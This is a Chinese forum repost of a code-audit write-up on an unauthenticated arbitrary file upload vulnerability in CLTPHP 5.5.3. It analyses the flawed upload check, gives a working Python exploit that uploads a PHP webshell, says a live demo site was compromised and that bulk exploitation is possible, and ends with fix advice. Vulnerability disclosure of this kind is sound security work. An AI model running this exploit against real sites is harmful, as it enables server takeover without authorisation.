搜索

[848] 2018-03-18_【代码审计】CLTPHP_v5.5.3任意文件上传漏洞

文档创建者：s7ckTeam
浏览次数：69
最后更新：2025-01-16
2018-03-18_【代码审计】CLTPHP_v5.5.3任意文件上传漏洞 0 0 0 1 0 2 【 代 码 审 计 】 C L T P H P _ v 5 . 5 . 3   任 意 文 件 上 传 漏 洞 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 3 - 1 8 前 言 前 言 C L T P H P 采 用 T h i n k P H P 开 发 ， 后 台 采 用 L a y u i 框 架 的 内 容 管 理 系 统 。 在 代 码 审 计 中 ， 发 现 了 一 个 无 需 权 限 的 任 意 文 件 上 传 漏 洞 ， 可 批 量 ， 已 提 交 C N V D ， 分 享 一 下 思 路 。 环 境 搭 建 环 境 搭 建 C L T P H P 官 网 ： h t t p : / / w w w . c l t p h p . c o m 网 站 源 码 版 本 ： C L T P H P 内 容 管 理 系 统 5 . 5 . 3 版 本 程 序 源 码 下 载 ： h t t p s : / / g i t e e . c o m / c h i c h u / c l t p h p 默 认 后 台 地 址 ：   h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n / l o g i n / i n d e x . h t m l 默 认 账 号 密 码 ：   后 台 登 录 名 ： a d m i n     密 码 ： a d m i n 1 2 3 代 码 分 析 代 码 分 析 1 、 漏 洞 文 件 位 置 ： / a p p / u s e r / c o n t r o l l e r / U p F i l e s . p h p   第 5 - 2 5 行 ： 在 这 段 函 数 中 ， 未 经 用 户 权 限 验 证 ， 获 取 表 单 内 容 ， 存 在 越 权 绕 过 上 传 的 情 况 。 我 们 继 续 跟 进 m o v e 函 数 ： 2 、 文 件 位 置 ： / t h i n k / l i b r a r y / t h i n k / F i l e . p h p   第 3 2 9 - 3 7 7 行 ： 在 这 段 函 数 中 ， 经 过 一 系 列 检 测 后 上 传 文 件 ， 我 们 重 点 来 看 一 下 c h e c k 验 证 上 传 函 数 。
0 3 在 这 段 函 数 中 ， 经 过 一 系 列 检 测 后 上 传 文 件 ， 我 们 重 点 来 看 一 下 c h e c k 验 证 上 传 函 数 。 3 、 文 件 位 置 ： / t h i n k / l i b r a r y / t h i n k / F i l e . p h p   第 2 1 8 - 2 4 5 行 ： 在 c h e c k 函 数 中 检 查 文 件 大 小 、 M i m e 类 型 、 文 件 后 缀 等 ， 主 要 是 从 数 组 $ r u l e 中 获 取 ， c h e c k 函 数 未 带 入 参 数 $ r u l e ， 所 以 取 $ t h i s - > v a l i d a t e , 而 v a l i d a t e 的 值 在 该 类 有 定 义 ， 我 们 看 一 下 $ v a l i d a t e 的 值 在 同 文 件 中 v a l i d a t e 默 认 值 为 空 ， 调 用 T h i n k P H P 的 上 传 函 数 ， 但 配 置 不 当 导 致 过 滤 函 数 c h e n k 无 效 ， 导 致 程 序 在 实 现 存 在 任 意 文 件 上 传 漏 洞 ， 攻 击 者 无 需 任 何 权 限 ， 可 直 接 上 传 恶 意 脚 本 ， 控 制 网 站 服 务 器 权 限 。 漏 洞 利 用 漏 洞 利 用 利 用 方 式 一 ： 利 用 方 式 一 ： 1 、   通 过 编 写 P y t h o n 脚 本 ， 模 拟 A j a x   异 步 请 求 ， P y t h o n ’ 脚 本 如 下 ： 1 .   # ! / u s r / b i n / p y t h o n     2 .   # - * -   c o d i n g :   U T F - 8   - * -     3 .   # A u t h o r ： B y p a s s     4 .   # D a t e ： 2 0 1 8 . 0 3 . 0 1     5 .   i m p o r t   r e q u e s t s     6 .   i m p o r t   s y s    
7 .   8 .   d e f   C L P H P _ u p l o a d ( u r l ) :     9 .           h e a d e r   =   {   ' U s e r - A g e n t '   :   ' M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   5 . 5 ;   W i n d o w s   N T ) '   ,     1 0 .                                   ' X - R e q u e s t e d - W i t h ' :   ' X M L H t t p R e q u e s t ' , }       1 1 .           g e t u r l   =   u r l + " / u s e r / u p F i l e s / u p l o a d "     1 2 .           f i l e s   = { ' f i l e ' : ( ' 1 . p h p ' , o p e n ( ' 1 . p h p ' , ' r b ' ) , ' i m a g e / j p e g ' ) }     1 3 .           r e s   =   r e q u e s t s . p o s t ( g e t u r l ,   f i l e s = f i l e s , h e a d e r s = h e a d e r )     1 4 .           p r i n t   r e s . t e x t     1 5 .       1 6 .   i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     1 7 .           i f   l e n ( s y s . a r g v )   = =   2 :     1 8 .                   u r l = s y s . a r g v [ 1 ]     1 9 .                   C L P H P _ u p l o a d ( u r l )     2 0 .                   s y s . e x i t ( 0 )     2 1 .           e l s e :     2 2 .                   p r i n t   ( " u s a g e :   % s   w w w . x x x . c o m "   %   s y s . a r g v [ 0 ] )     2 3 .                   s y s . e x i t ( - 1 )               2 、 在 同 一 目 录 下 放 置 脚 本 和 1 . p h p 文 件 名 的 小 马 ， 运 行 P y t h o n 脚 本 ， 成 功 上 传 木 马 并 返 回 路 径 。 3 、 访 问 u r l ， 成 功 g e t s h e l l 某 某 d e m o 演 示 站 点 已 演 示 站 点 已 g e t s h e l l ： ： 1 、 修 改 u r l 地 址 ， 运 行 P y t h o n 脚 本 ， 获 取 一 句 话 上 传 路 径 2 、 成 功 控 制 网 站 服 务 器 ， 未 深 入 ， 仅 截 图 作 为 演 示 。 另 外 ， 通 过 该 漏 洞 可 批 量 获 取 w e b s h e l l ， 具 体 要 看 用 户 量 多 少 了 。
0 4 修 复 建 议 修 复 建 议 1 、 添 加 上 传 页 面 的 认 证 ， 通 过 白 名 单 限 制 上 传 文 件 后 缀 ； 2 、 禁 止 上 传 目 录 脚 本 执 行 权 限 。 B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理